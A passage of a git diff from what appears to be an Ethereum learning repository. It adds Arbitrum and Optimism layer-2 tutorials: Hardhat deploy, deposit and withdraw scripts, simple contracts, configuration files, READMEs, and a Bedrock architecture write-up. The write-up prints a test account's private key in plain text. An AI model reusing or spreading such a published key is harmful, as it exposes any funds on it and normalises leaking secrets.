+   * Thus, when GreeterL2 checks that the message came from the L1, we check that the sender is this L2 Alias.
+   * See setGreeting in GreeterL2.sol for this check.
+   */
+
+  /**
+   * Now when we call greet again, we should see our new string on L2!
+   */
+  const newGreetingL2 = await l2Greeter.greet();
+  console.log(`Updated L2 greeting: "${newGreetingL2}"`);
+  console.log('✌️');
+};
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/27-Arbitrum-layer2/scripts/deploy.js b/basic/27-Arbitrum-layer2/scripts/deploy.js
new file mode 100644
index 000000000..86fbec007
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/scripts/deploy.js
@@ -0,0 +1,33 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+    console.log("Network ChainId:", (await ethers.provider.getNetwork()).chainId);
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const Token = await ethers.getContractFactory("SimpleToken");
+    const token = await Token.deploy("Dapp-Learning-Arbitrum", "DL", 1, 100000000);
+
+    console.log("Token address:", token.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/28-optimism-layer2/.env.example b/basic/28-optimism-layer2/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/28-optimism-layer2/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/28-optimism-layer2/.gitignore b/basic/28-optimism-layer2/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/28-optimism-layer2/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/28-optimism-layer2/Layer-2_DelphiDigital.pdf b/basic/28-optimism-layer2/Layer-2_DelphiDigital.pdf
new file mode 100644
index 000000000..56e3797de
Binary files /dev/null and b/basic/28-optimism-layer2/Layer-2_DelphiDigital.pdf differ
diff --git a/basic/28-optimism-layer2/OptimismBedrock.md b/basic/28-optimism-layer2/OptimismBedrock.md
new file mode 100644
index 000000000..747016148
--- /dev/null
+++ b/basic/28-optimism-layer2/OptimismBedrock.md
@@ -0,0 +1,249 @@
+# Optimism Bedrock
+
+> by @paco0x
+
+## Addresses
+
+### Goerli
+
+| Name                         | Type      | Address                                                                             |
+| ---------------------------- | --------- | ----------------------------------------------------------------------------------- |
+| Batcher Submitter            | EOA       | https://goerli.etherscan.io/address/0x7431310e026b69bfc676c0013e12a1a11411eec9      |
+| BatchInbox                   | EOA       | https://goerli.etherscan.io/address/0xff00000000000000000000000000000000000420      |
+| Proposer                     | EOA       | https://goerli.etherscan.io/address/0x02b1786A85Ec3f71fBbBa46507780dB7cF9014f6      |
+| Challenger                   | Multi-sig | https://goerli.etherscan.io/address/0xBc1233d0C3e6B5d53Ab455cF65A6623F6dCd7e4f      |
+| L2OutputOracle               | Contract  | https://goerli.etherscan.io/address/0xE6Dfba0953616Bacab0c9A8ecb3a9BBa77FC15c0      |
+| OptimismPortal               | Contract  | https://goerli.etherscan.io/address/0x5b47E1A08Ea6d985D6649300584e6722Ec4B1383      |
+| L1CrossDomainMessenger       | Contract  | https://goerli.etherscan.io/address/0x5086d1eef304eb5284a0f6720f79403b4e9be294      |
+| L1StandardBridge             | Contract  | https://goerli.etherscan.io/address/0x636af16bf2f682dd3109e60102b8e1a089fedaa8#code |
+| L1ERC721Bridge               | Contract  | https://goerli.etherscan.io/address/0x8DD330DdE8D9898d43b4dc840Da27A07dF91b3c9      |
+| OptimismMintableERC20Factory | Contract  | https://goerli.etherscan.io/address/0x883dcF8B05364083D849D8bD226bC8Cb4c42F9C5      |
+| SystemConfig                 | Contract  | https://goerli.etherscan.io/address/0xAe851f927Ee40dE99aaBb7461C00f9622ab91d60      |
+| SystemDictator               | Contract  | https://goerli.etherscan.io/address/0x1f0613A44c9a8ECE7B3A2e0CdBdF0F5B47A50971#code |
+| SystemDictator Owner         | Multi-sig | https://goerli.etherscan.io/address/0xBc1233d0C3e6B5d53Ab455cF65A6623F6dCd7e4f      |
+
+### OP Bedrock on Goerli
+
+| Name                          | Type       | Address                                                                                 |
+| ----------------------------- | ---------- | --------------------------------------------------------------------------------------- |
+| L1 Attribute Depositor        | EOA        | https://goerli-optimism.etherscan.io/address/0xdeaddeaddeaddeaddeaddeaddeaddeaddead0001 |
+| L1Block                       | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000015 |
+| L2ToL1MessagePasser           | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000016 |
+| L2CrossDomainMessenger        | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000007 |
+| L2StandardBridge              | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000010 |
+| L2ERC721Bridge                | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000014 |
+| OptimismMintableERC20Factory  | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000012 |
+| OptimismMintableERC721Factory | Pre-deploy | https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000017 |
+
+Pre-deployed contracts are deployed in genesis block by directly setting the state DB: [https://github.com/ethereum-optimism/optimism/blob/c21476c1874702da8c0817d5c7c9de5b8066eb4b/op-chain-ops/genesis/setters.go#L226](https://github.com/ethereum-optimism/optimism/blob/c21476c1874702da8c0817d5c7c9de5b8066eb4b/op-chain-ops/genesis/setters.go#L226)
+
+## Component
+
+- **op-geth** is a slightly modified version of **geth**, the Execution Engine in Optimism Bedrock, used to produce L2 blocks. You can find all the changes at [https://op-geth.optimism.io/](https://op-geth.optimism.io/).
+- **op-node** is the rollup node, which is a standalone stateless binary.
+  - It receives L2 user transactions and converts the deposit data into payload attributes for the Engine API.
+  - It submits the payload attributes to the Engine API, where they are converted into blocks and added to the canonical chain.
+  - It can also derive the L2 chain from L1 deposits & batchInbox.
+  - It generates L2 outputRoots for submission or verification.
+- **op-batcher** submits the L2 transactions to DA (currently, L1 calldata) through batcher transactions.
+- **op-proposer** periodically submits the L2 state root to the L1 contract for verification and withdrawal proving.
+
+## L2 Blocks
+
+Before Bedrock, the blockchain had a variable block time and one transaction per block.
+
+With Bedrock, the block time is fixed at 2 seconds and can contain multiple transactions.
+
+Advantages of this change include:
+
+- Consistency with the Ethereum mainnet after POS.
+- Convenience for contracts that use block numbers rather than timestamps to keep track of time; for example, the `MasterChef` contract. Block numbers are harder to manipulate than block timestamps.
+- Reduced overhead for storing the blockchain.
+- No need to update the state trie root after each transaction.
+
+### Epochs and the Sequencing Window
+
+The rollup chain is subdivided into epochs. There is a 1:1 correspondence between L1 block numbers and epoch numbers.
+
+L2 block timestamp can be 10 minutes (**sequencer drift parameter**) ahead of L1. This parameter is meant to ensure liveness of the L2 chain during temporary loss of connection to L1.
+
+## Transaction Types
+
+On L2, Optimism adds a new type of transaction in op-geth called deposit transaction.
+
+There are 2 types of deposit transactions:
+
+- System transactions, the first transaction of every L2 block, setting the attributes from L1
+- Deposit transactions, transactions sent by users on L1 to L2
+
+Other transactions are sent by users on L2 directly
+
+## Deposit
+
+- Call `OptimismPortal.depositTransaction(to, value, gasLimit, isCreation, data)` on L1.
+- Emit the `TransactionDeposited(from, to, version, opaqueData)` event in the contract.
+  - If `from` is a contract, address aliasing will be performed. For more information, see the [address aliasing documentation](https://community.optimism.io/docs/developers/build/differences/#using-eth-in-contracts).
+- The sequencer uses these events to generate deposited transactions on L2 and build the block.
+- Deposit transactions are not retryable.
+- It's invalid to have an L2 block without including the deposits of its L1 origin. (anti censorship)
+
+The L2 execution gas is paid by the user on L1.
+
+## Withdrawal
+
+- Call `L2ToL1MessagePasser.initiateWithdrawal(target, gasLimit, data)` on L2.
+- Set the contract storage for `sentMessages[withdrawalHash]` to `true`.
+- The proposer should set the L2 state root and storage root of `L2ToL1MessagePasser` on L1 (`L2OutputOracle`).
+- Prove the state on L1 by calling `OptimismPortal.proveWithdrawalTransaction()`.
+  - Prove the `withdrawalHash -> true` key pair exists in the contract’s storage(**_Merkle Patricia Trie_**)
+- Wait for the finalization period.
+- Finalize the withdrawal transaction by calling `OptimismPortal.finalizeWithdrawalTransaction()`.
+- Withdrawal transactions are not retryable.
+
+They use `Safecall.call()` to ignore the return data to avoid the potential return data bomb.
+
+[https://www.notonlyowner.com/research/message-traps-in-the-arbitrum-bridge](https://www.notonlyowner.com/research/message-traps-in-the-arbitrum-bridge)
+
+## Message Passing
+
+Optimism constructed a pair of messaging contracts for message passing by utilizing the low-level deposit and withdraw transactions. The contracts used for message passing are `L1CrossDomainMessenger.sol` and `L2CrossDomainMessenger.sol`.
+
+The messages are retryable, unlike the raw deposits/withdrawals. Developers should use messenger contracts instead of low-level deposits/withdrawals.
+
+- To pass a message to the other chain, users need to call `CrossDomainMessenger.sendMessage(target, message, minGasLimit)`.
+- To obtain the caller on the other chain, users can use `CrossDomainMessenger.xDomainMsgSender()`.
+  - If it is an L1 → L2 message, remember to undo the address alias.
+
+### L1 → L2 message
+
+#### on L1
+
+- user call `L1CrossDomainMessenger.sendMessage()`
+- gas is charged and computed on L1
+  - gas usage: `gasLimit = minGasLimit * 1.016 + _message.length * 16 + 200,000`
+- call `OptimismPortal.depositTransaction()`
+
+```solidity
+portal.depositTransaction{value: msg.value}(
+	L2CrossDomainMessenger,  // The pre-deplyed CrossDomainMessenger on L2
+	msg.value,
+	gasLimit,
+	false,
+	abi.encodeWithSelector(
+	  this.relayMessage.selector,
+    messageNonce(),
+    msg.sender,
+    _target,
+    msg.value,
+    _minGasLimit,
+    _message
+	)
+)
+
+```
+
+- emit the `TransactionDeposited()` event in the `OptimismPortal` contract on L1
+
+#### on L2
+
+- op-node generate a deposit transaction by reading the `TransactionDeposited` events
+- the deposited transaction calls the `L2CrossDomainMessager.relayMessage()` on L2
+- call the target address in `L2CrossDomainMessager.relayMessage()` and record the result
+- call the target address with the message
+- If the replay transaction failed, user can replay it manually
+
+### L2 → L1 message
+
+#### on L2
+
+- user call `L2CrossDomainMessenger.sendMessage()`
+- call `L2ToL1MessagePasser.intializeWithdraw()`
+- set `sentMessages[withdrawalHash] = true;` in the `L2ToL1MessagePasser`
+
+#### on L1
+
+- wait for the proposer submit the state root on L1 `L2OutputOracle`
+- prove the tx hash is already written to `L2ToL1MessagePasser` on L2
+- wait for the finalization period
+- finalize the withdrawal transaction by calling `OptimismPortal.finalizeWithdrawalTransaction()`
+- call `L1CrossDomainMessenger.relayMessage()`
+- call the target address with the message
+
+## Bridges
+
+Optimism built the following bridges for ERC20 and ERC721
+
+- `L1StandardBridge` & `L2StandardBridge`
+- `L1ERC721Bridge` & `L2ERC721Bridge`
+
+Under the hood, Optimism uses the message-passing mechanism provided by `CrossDomainMessenger` contracts.
+
+### Bridging from L1 to L2
+
+Before bridging from L1 to L2, users need to create a remote ERC20 contract on L2 by using the `OptimismMintableERC20Factory` contract.
+
+#### On L1
+
+- Lock the token/ETH and record the amount on L1's `L1StandardBridge`.
+- Send a message to L2's `L2StandardBridge`.
+
+#### On L2
+
+- Receive the message call in `L2StandardBridge`.
+- Mint the remote token with the specified amount.
+
+### Bridging from L2 to L1
+
+The process is very similar to the above.
+
+## L2OutputOracle
+
+### State Verification
+
+`L2OutputOracle` is a contract on L1 that saves the L2 state roots for verification. Verifiers can challenge the result through a disputing system.
+
+Currently, only an EOA address operated by Optimism can write to this contract.
+
+The challenger address is set to a multi-sig wallet controlled by Optimism.
+
+### Withdrawal proving
+
+`L2OutputOracle` also saves the storage root of the `L2ToL1MessagePasser` contract on L2 for proving the withdrawal transactions on L1.
+
+## Batcher
+
+**op-batcher** submits the L2 data as calldata to `BatchInbox` address.
+
+- op-node can read these calldata to rebuild the entire L2 chain.
+- Verifiers can use these data to verify the state root in `L2OutputOracle` contract.
+
+### Data format
+
+**Batches**, \***\*a batch \*\***contains all the txs of an L2 block
+
+**Channels**, Batches are aggregated into **channel**
+
+**Channel Frames**, channels are compressed and split into **channel frames**
+
+Batcher submits those frames in the [batcher transactions](https://github.com/ethereum-optimism/optimism/blob/f30376825c82f62b846590487fe46b7435213d37/specs/glossary.md#batcher-transaction).
+
+## Proposer
+
+**op-proposer** submits the L2 state root and the storage trie root hash of the `L2ToL1MessagePasser` contract on L2 to L1 `L2OutputOracle`.
+
+Proposer queries these data through op-node’s `optimism_outputAtBlock` RPC API. Inside `optimism_outputAtBlock`:
+
+- fetch the L2 block header through `eth_getBlockByNumber` RPC in op-geth
+- fetch the storage root of `L2ToL1MessagePasser` contract through `eth_getProof` RPC in op-geth
+- return the state root of the L2 block and the storage root of `L2ToL1MessagePasser` contract
+  - before returning, verify the storage root is contained in the state trie
+
+Test account:
+
+- Address: `0x3bb843cf8e26FF1Fdbdb6B2eC1B0dD5B37082B64`
+- Private Key: `0x8567689e64d90470cf9e30ed5d59d495e7a27de4fbe964620e45ecbe050018d7`
+
+## Reference
+
+- <https://paco0x.notion.site/Optimism-Bedrock-a546537289864e2dad5eca77e7386b96>
+- <https://community.optimism.io/docs/developers/bedrock/how-is-bedrock-different/>
diff --git a/basic/28-optimism-layer2/README-CN.md b/basic/28-optimism-layer2/README-CN.md
new file mode 100644
index 000000000..b3c83ef5c
--- /dev/null
+++ b/basic/28-optimism-layer2/README-CN.md
@@ -0,0 +1,87 @@
+# Optimism
+
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/28-optimism-layer2/README.md)
+
+## 简介
+
+Optimistic Rollups（OR）是一种第二层解决方案，也就是说不直接在以太坊基础层中构建，而是基于以太坊进行构建。好处在于可以规模化运行智能合约，同时还能受到共享以太坊的安全性。其构造类似于 Plasma，虽然无法达到 Plasma 几近无限的扩容能力，OR 选择使用与 EVM 兼容的 OVM（Optimistic 虚拟机），使其能够像以太坊一样运作。
+
+其名称“Opmistic Rollup”源自于这个解决方案本身的特征。之所以采用“Optimistic”（乐观），是因为聚合者仅发布最少量的所需信息，而无需提供任何证明，前提是聚合者没有实施欺诈行为，且仅在发生欺诈时提供证明。之所以使用“Rollups”，是因为交易以捆绑形式提交到主链（也即，交易被 rolled-up）
+
+## Bedrock
+
+- [OptimismBedrock.md](./OptimismBedrock.md)
+- [Optimism Bedrock Sharing meeting video (coming soon)](https://www.youtube.com/@DappLearning)
+
+Bedrock 是 Optimism 网络的下一个主要版本，计划于 2023 年第一季度发布（需经 Optimism 治理批准）。它将进一步减少 Optimism 和 L1 Ethereum (opens new window) 之间的差异。
+
+## Contracts
+
+### System Overview
+
+Optimism协议中的智能合约可以分为几个关键组件
+
+- **[Chain:](#chain-contracts)** 在第一层的合约，它们持有第二层交易的排序和关联的第二层状态根的承诺。
+- **[Verification:](#verification)** 在第一层的合约，它们实现了挑战交易结果的过程。
+- **[Bridge:](#bridge-contracts)** 负责在第一层和第二层之间进行消息传递的合约。
+- **[Predeploys:](#predeployed-contracts)** 在系统的起始状态中部署并可用的一组基本合约。这些合约类似于以太坊的预编译，但它们是用Solidity编写的，并且可以在以0x42为前缀的地址上找到。
+
+## 测试步骤
+
+- URI ETH 跨链  
+  Optimism 测试网络链接的是 goerli 网, 在 Optimistic 测试网路上进行交易前, 需要把 Goerli 网络的 ETH 经过跨链桥跨到 optimism.
+  访问 Optimism 的 gateway, 选择 "Deposite" , 在其中输入跨链的 ETH 数量
+
+- 等待资产跨链成功  
+  可能需要等待 20 分钟左右才能完成 ETH 的跨链转移.
+
+- 查看余额  
+  ETH 转移成功后, 可以从 metaMask 查看 Optimism 网络上的余额
+
+- 安装依赖
+
+```bash
+npm install
+```
+
+- 配置环境变量  
+  复制 .env.example 文件为 .env 文件, 然后配置其中的 PRIVATE_KEY,INFURA_ID
+
+- 创建合约
+
+```bash
+❯ npx hardhat run scripts/deploy.js --network optimism
+Deploying contracts with the account: 0xa3F2Cf140F9446AC4a57E9B72986Ce081dB61E75
+Account balance: 1500000000000000000
+Token address: 0x0d29e73F0b1AE67e28495880636e2407e41480F2
+```
+
+- 脚本 ETH 跨链到 Optimism 网络  
+  上面除来可以通过 Optimism 的界面进行跨梁外, 还可以通过调用合约的方式进行 ETH 跨链  
+  调用如下脚本, 通过调用合约的方式进行 ETH 跨链
+
+```sh
+npx hardhat run scripts/deposit-eth.js --network goerli
+
+## 调用结束后, 等待大约 5 分钟, 就可以发现 metaMask 上, Optimism 网络上账户余额增加了 0.0001 ETH
+```
+
+- 脚本 ETH 跨链到 Goerli 网络  
+  跨链到 Optimism 链上的 ETH 还可以跨回 Goerli 链.
+  调用如下脚本, 通过调用合约的方式进行 ETH 跨链
+
+```sh
+npx hardhat run scripts/withdraw-eth.js --network optimism
+
+## 调用结束后, 等待大约 5 分钟, 就可以发现 metaMask 上, goerli 网络上账户余额增加了 0.0001 ETH
+```
+
+## 参考文档
+
+- Optimistic 官方 github: <https://github.com/ethereum-optimism/optimism-tutorial>
+- Optimism doc: <https://community.optimism.io/docs/protocol/protocol-2.0/>
+- Optimistic Rollup 合约介绍: <https://medium.com/plasma-group/ethereum-smart-contracts-in-l2-optimistic-rollup-2c1cef2ec537>
+- Optimism Rollup 原理解析: <https://zhuanlan.zhihu.com/p/350541979>
+- Optimism 跨链桥: <https://gateway.optimism.io/>
+- Optimism Goerli deposite proxy contract : <https://goerli.etherscan.io/address/0x636af16bf2f682dd3109e60102b8e1a089fedaa8#code>
+- Optimism Goerli withdraw proxy contract : <https://goerli-optimism.etherscan.io/address/0x4200000000000000000000000000000000000010>
diff --git a/basic/28-optimism-layer2/README.md b/basic/28-optimism-layer2/README.md
new file mode 100644
index 000000000..1a7c1303b
--- /dev/null
+++ b/basic/28-optimism-layer2/README.md
@@ -0,0 +1,91 @@
+# Optimism
+
+[中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/28-optimism-layer2/README-CN.md) / English
+
+## Abstract
+
+Optimistic Rollups（OR）is a Layer2 solution，which means it's not an independent chain，but relys on Ethereum mainnet。The benefits of such construction are that it can not only run smart contracts at scale，but also enjoys the benefit of Ethereum security，just similar to Plasma，but have less capacity of transactions。OR chooses to use OVM（Optimistic Virtual Machine）compatible with EVM，allowing contracts to have same behavior on both sides.
+
+The name "Opmistic Rollup" comes from the characteristics of the solution itself。 Optimistic means less infomation for aggregator to publish ，and no need to provide any proof。 Rollup means transactions are submitted to L1 in bundles。
+
+## Bedrock
+
+- [OptimismBedrock.md](./OptimismBedrock.md)
+- [Optimism Bedrock Sharing meeting video (coming soon)](https://www.youtube.com/@DappLearning)
+
+Bedrock is the next major release of the Optimism network, planned for the first quarter of 2023 (subject to approval by Optimism governance). It will further reduce the differences between Optimism and L1 Ethereum.
+
+## Contracts
+
+### System Overview
+
+The smart contracts in the Optimism protocol can be separated into a few key components.
+
+- **[Chain:](#chain-contracts)** Contracts on layer-1, which hold the ordering of layer-2 transactions, and commitments to the associated layer-2 state roots.
+- **[Verification:](#verification)** Contracts on layer-1 which implement the process for challenging a transaction result.
+- **[Bridge:](#bridge-contracts)** Contracts which facilitate message passing between layer-1 and layer-2.
+- **[Predeploys:](#predeployed-contracts)** A set of essential contracts which are deployed and available in the genesis state of the system. These contracts are similar to Ethereum's precompiles, however they are written in Solidity, and can be found at addresses prefixed with 0x42.
+
+## Test steps
+
+### ETH cross-chain with Optimism gateway
+
+- Deposite ETH to Optimistic  
+  Optimism testnet links to Goerli testnet。 Before we send transactions to Optimistic， we need to deposite ETH to Optimistic first。  
+  Visit Optimism gateway，then choose "Deposite" ，and input ETH amount
+
+- Waiting for deposite finish  
+  It may takes at least 20 minutes to finish deposite, please be patient.
+
+- Check Balance  
+  After ETH deposite successfully，check balance on Optimistic with MetaMask
+
+- Install dependencies
+
+```bash
+npm install
+```
+
+- Config env parameters  
+  Use template .env.example to create .env ，then config PRIVATE_KEY && INFURA_ID in it
+
+- Deploy Contract
+
+```bash
+❯ npx hardhat run scripts/deploy.js --network optimism
+Deploying contracts with the account: 0xa3F2Cf140F9446AC4a57E9B72986Ce081dB61E75
+Account balance: 1500000000000000000
+Token address: 0x0d29e73F0b1AE67e28495880636e2407e41480F2
+```
+
+### ETH cross-chain with script
+
+- Deposite ETH to Optimism with script  
+  In addition to do cross-chain through UI，we can also do it with script。  
+  In the following script，by calling cross-chain contract on Goerli side， ETH will be deposited to Optimism。
+
+```sh
+npx hardhat run scripts/deposit-eth.js --network goerli
+
+## It will takes about 5 minuts to finish the deposite，then it will add 0.0001 ETH to your account on Optimism side
+```
+
+- Withdraw ETH to Goerli  
+  After deposite ETH to Optimism，we can also withdraw it back to Goerli.  
+  Similar to deposite，we just call cross-chain contract on Optimism side，ETH will be withdrawed to Goerli.
+
+```sh
+npx hardhat run scripts/withdraw-eth.js --network optimism
+
+## It will takes about 5 minuts to finish the withdraw，then it will add 0.0001 ETH to your account on Goerli side
+```
+
+## References
+
+- Optimism github: <https://github.com/ethereum-optimism/optimism-tutorial>
+- Optimism doc: <https://community.optimism.io/docs/protocol/protocol-2.0/>
+- Optimistic Rollup contracts: <https://medium.com/plasma-group/-ethereum-smart-contracts-in-l2-optimistic-rollup-2c1cef2ec537>
+- Optimism Rollup Principle Explanation : <https://zhuanlan.zhihu.com/p/350541979>
+- Optimism Cross Bridge : <https://gateway.optimism.io/>
+- Optimism Goerli deposite proxy contract : <https://goerli.etherscan.io/address/-0x636af16bf2f682dd3109e60102b8e1a089fedaa8#code>
+- Optimism Goerli withdraw proxy contract : <https://goerli-optimism.etherscan.io/-address/0x4200000000000000000000000000000000000010>
diff --git a/basic/28-optimism-layer2/contracts/DepositeProxy.sol b/basic/28-optimism-layer2/contracts/DepositeProxy.sol
new file mode 100644
index 000000000..c976cb893
--- /dev/null
+++ b/basic/28-optimism-layer2/contracts/DepositeProxy.sol
@@ -0,0 +1,7 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >0.5.0 <0.8.0;
+
+interface DepositeProxy {
+
+    function depositETH(uint32 _l2Gas, bytes memory _data) external payable;
+}
\ No newline at end of file
diff --git a/basic/28-optimism-layer2/contracts/SimpleToken.sol b/basic/28-optimism-layer2/contracts/SimpleToken.sol
new file mode 100644
index 000000000..4308cc2f7
--- /dev/null
+++ b/basic/28-optimism-layer2/contracts/SimpleToken.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract SimpleToken is ERC20 {
+    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
+        _mint(msg.sender, initialSupply);
+    }
+}
\ No newline at end of file
diff --git a/basic/28-optimism-layer2/contracts/WithdrawProxy.sol b/basic/28-optimism-layer2/contracts/WithdrawProxy.sol
new file mode 100644
index 000000000..f66351600
--- /dev/null
+++ b/basic/28-optimism-layer2/contracts/WithdrawProxy.sol
@@ -0,0 +1,7 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >0.5.0 <0.8.0;
+
+interface WithdrawProxy {
+
+    function withdraw(address _l2Token, uint256 _amount, uint32 _l1Gas, bytes memory _data) external payable;
+}
\ No newline at end of file
diff --git a/basic/28-optimism-layer2/hardhat.config.js b/basic/28-optimism-layer2/hardhat.config.js
new file mode 100644
index 000000000..38458425a
--- /dev/null
+++ b/basic/28-optimism-layer2/hardhat.config.js
@@ -0,0 +1,59 @@
+require('@nomicfoundation/hardhat-toolbox');
+const fs = require('fs');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return [`${process.env.PRIVATE_KEY}`];
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.8.17',
+      },
+      {
+        version: '0.7.6',
+      },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    goerli: {
+      url: 'https://goerli.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    arbitrum: {
+      url: 'https://arbitrum-rinkeby.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    optimism: {
+      url: 'https://optimism-goerli.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+  },
+};
diff --git a/basic/28-optimism-layer2/package.json b/basic/28-optimism-layer2/package.json
new file mode 100644
index 000000000..4322d0dbe
--- /dev/null
+++ b/basic/28-optimism-layer2/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "28-optimism-layer2",
+  "version": "1.0.0",
+  "description": "Optimistic Rollups（OR）是一种第二层解决方案，也就是说不直接在以太坊基础层中构建，而是基于以太坊进行构建。好处在于可以规模化运行智能合约，同时还能受到共享以太坊的安全性。其构造类似于Plasma，虽然无法达到Plasma几近无限的扩容能力，OR选择使用与EVM兼容的OVM（Optimistic虚拟机），使其能够像以太坊一样运作。",
+  "main": "index.js",
+  "scripts": {
+    "build": "npx hardhat compile",
+    "deploy-erc20": "npx hardhat run scripts/deploy.js",
+    "deploy-eth": "npx hardhat run scripts/deploy-eth.js",
+    "withdraw-eth": "npx hardhat run scripts/withdraw-eth.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "MIT",
+  "dependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^2.0.2",
+    "@openzeppelin/contracts": "^4.8.2",
+    "dotenv": "^16.0.3",
+    "hardhat": "^2.13.0"
+  }
+}
diff --git a/basic/28-optimism-layer2/scripts/deploy.js b/basic/28-optimism-layer2/scripts/deploy.js
new file mode 100644
index 000000000..dc01b52fe
--- /dev/null
+++ b/basic/28-optimism-layer2/scripts/deploy.js
@@ -0,0 +1,32 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const Token = await ethers.getContractFactory("SimpleToken");
+    const token = await Token.deploy("DappLearning task28 optimism layer2", "DL28", 100000000);
+
+    console.log("Token address:", token.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/28-optimism-layer2/scripts/deposit-eth.js b/basic/28-optimism-layer2/scripts/deposit-eth.js
new file mode 100644
index 000000000..d5607e6f5
--- /dev/null
+++ b/basic/28-optimism-layer2/scripts/deposit-eth.js
@@ -0,0 +1,44 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [owner] = await ethers.getSigners();
+
+    // goerli proxy contract address is 0x22F24361D548e5FaAfb36d1437839f080363982B
+    const artifactL1ChugSplashProxy = artifacts.readArtifactSync("DepositeProxy");
+    const l1ChugSplashProxy = new ethers.Contract("0x636Af16bf2f682dD3109e60102b8E1A089FedAa8", artifactL1ChugSplashProxy.abi , owner );
+
+
+    console.log("Account balance:", (await owner.getBalance()).toString());
+
+    // deploy eth to Optimism
+    let overrides = {
+        // To convert Ether to Wei:
+        value: ethers.utils.parseEther("0.0001")     // ether in this case MUST be a string
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+    };
+    let messageBytes = ethers.utils.toUtf8Bytes("");
+    await l1ChugSplashProxy.depositETH(1300000, messageBytes,overrides);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/28-optimism-layer2/scripts/withdraw-eth.js b/basic/28-optimism-layer2/scripts/withdraw-eth.js
new file mode 100644
index 000000000..516dee0c1
--- /dev/null
+++ b/basic/28-optimism-layer2/scripts/withdraw-eth.js
@@ -0,0 +1,31 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
